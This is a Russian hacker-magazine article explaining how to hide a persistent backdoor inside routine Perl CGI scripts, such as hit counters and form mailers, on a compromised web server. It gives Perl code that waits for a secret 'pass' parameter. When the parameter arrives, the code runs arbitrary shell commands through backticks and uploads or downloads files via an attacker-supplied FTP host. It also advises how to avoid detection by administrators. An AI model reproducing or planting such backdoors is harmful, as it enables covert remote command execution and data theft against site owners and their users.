От автора: Материал предназначен для людей, которые любят экспериментировать

Идея

Сегодня - что ни день, то новая ошибка в CGI… Ошибки от довольно безобидных до серьезных, позволяющих выполнять команды на сервере… Если сервер не обделен вниманием админа, свести такую дыру к 'got root' наверно не получится, rootkit не установишь…ну пошарится кулхацкер под текущим пользователем, оставит парочку "подарков"…а потом дырочку пофиксят, все что наплодил кулхацкер удалят и делу конец…

Почему я в начале статьи упомянул ошибки в CGI? Потому, что как правило такие ошибки ведут к получения прав 'nobody' и всяческих других крутых пользователей 😉 С подобным раскладом, обеспечить себе более или менее комфортную жизнь после исправления дыры как правило большинству кулхацкеров не удается… а что если засунуть бэкдор туда, где искать его никому и в голову не придет?

Ты спросишь: "О чем это ты?" А вот о чем - каковы действия грамотного админа после исправления дыры? Правильно!: проверка на наличие руткитов, открытых портов, лишних скриптов… Именно лишних! В имеющиеся никто и заглядывать не будет, так как следов взлома вроде бы нет (я конечно не исключаю вариант, что даже не найдя никаких следов взлома и быстро пофиксив дыру, кто-то начнет изучать логи, но если ты знаком с таким долбаком - можешь считать себя уникумом). Какие скрипты обычно находятся на средне статистическом сайте? Счетчик, скрипт для отправки содержимого формы по почте, скрипт для организации поиска по сайту…Как правило, большинство из этих скриптов настолько просты, что ни содержать никаких уязвимостей, ни нуждаются в модернизации (думаешь счетчик кто-нибудь будет переставлять по сто раз в год?). Отсюда получается следующее - наиболее простые скрипты устанавливаются и настраиваются раз и навсегда, как правило, в них никто не заглядывает, они просто каждодневно выполняют свою рутинную работу. Именно там мы и оставим подарочек…

Практическая реализация

Механизм функционирования, интерфейс:

Пусть скрипт продолжает нормально функционировать, но только до тех пор, пока не получает секретный параметр (у нас это будет 'pass=xakep'). Получив такой параметр, скрипт исполняет те действия, которые мы в него заложим - пусть это будет выполнение команд, загрузка и выгрузка файлов на анонимный ftp-сервер.

#Реализация проверки параметров:
use CGI qw(:standard);

if (param("pass") eq "xakep"){
#выполнение нашего кода
}else{
#выполнение оригинального кода
}

Как видишь здесь я использовал модуль CGI.pm для чтения параметров. Как возможные альтернативы можно предложить чтение параметров с помощью ENV{QUERY_STRING}, либо более гиморный способ чтения формы без использования CGI.pm:

read (STDIN, $buffer, $ENV{CONTENT_LENGHT});
@params=split('&', $buffer);
foreach $param (@params){
($field,$value)=split('=',$param);
$value=~ s/\+/ /g;
$value=~ s/%([0-9A-Fa-f][0-9A-Fa-f])/pack("c",hex($1))/ge;
$form{$field}=$value;
}

Теперь надо слепить ту формочку, через которую мы будет общаться с нашим скриптом. У меня получилось
следующее.

Передачу данных мы организуем следующим образом - введем ключевой параметр "action", значение которого будет означать то, что мы хотим сделать: "do" - выполнить команду, "download" - скачать файл, "upload" - загрузить файл. Итак поехали:

Выполнение команд:

$alt=param("action");
#узнаем, что надо делать (смотрим параметр "action")
if ($alt eq "do"){
$ii=param("par1");
#выполняем команду и выводим результат в браузер
@result=`$ii`;
print "Content-type: text/html\n\n";
print "@result";
}

Загрузка/выгрузка файлов:

use Net::FTP;
if (($alt eq "download")||($alt eq "upload")){
$fil=param("par2");
$host=param("par3");
$login=param("par4");
$pas=param("par5");
$dir==param("par6");
$type=param("par7");
$ftp = Net::FTP->new($host), Debug => 0);
if ($ftp->login($login, $pas)){
$ftp->cwd($dir);
$ftp->type($type);
if ($alt eq "download"){
$ftp->put($fil)}else{$ftp->get($fil)}
$ftp->quit;
$result="Done!!!";
}else{
$result="login failed!!!";
}
print "Content-type: text/html\n\n";
print "$result";
}

Красивости

Ну если исходный скрипт довольно внушительных размеров, то можно позволить себе расслабиться и еще слегка упростить жизнь - ведь очень неудобно, когда скрипт выдает только информацию о результате и не выдает новой формы, чтобы ты "продолжал командовать"? ОК!
Это можно легко исправить добавив в конец скрипта следующий код:

print <<EOT

#html
#код
#твоей
#формы

EOT

Итого

То, что было изложено в данном материале справедливо относительно скриптов, которые в оригинале как результат своей работы выдают графический объект (как к примеру графический счетчик), либо редирект (как к примеру многие скрипты, которые занимаются отправкой содержимого форм по почте)…
В отношении скриптов, которые ничего не выдают в браузер пользователя, либо выдают в виде text/html все еще проще! В подавляющем большинстве таких случаев нет необходимости менять оригинальную структуру скрипта - нужно только тихо дописать пару строк в конце… Да, и еще один подводный камень - могут быть запрещены внешние коннекты (тогда не удастся закачать файл по указанной методике) - этим грешит подавляющее большинство бесплатных хостингов, но pupkin.бесплатно.ru нас ведь и не интересует, верно ;-?

И еще одна важная вещь: при добавлении твоего кода размер скрипта увеличивается, а значит увеличивается и время на его компиляцию/выполнение - вред ли это кто-то заметит, да и если заметит, представь себе человека, который будет писать письмо в саппорт: "У вас подтормаживает счетчик. Вчера не подтормаживал, а сегодня вот тормозит. Примите меры" 😉 Но как бы то ни было, если исходный скрипт мал, не
увлекайся - лучше не иметь 'красивостей', чем иметь головную боль… 

Работающий пример я выложил на http://georgy.h1.ru/mytest.htm.
Это гибрид графического счетчика посещений и того "интерфейса", который описан выше. Приходи, пробуй 😉

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии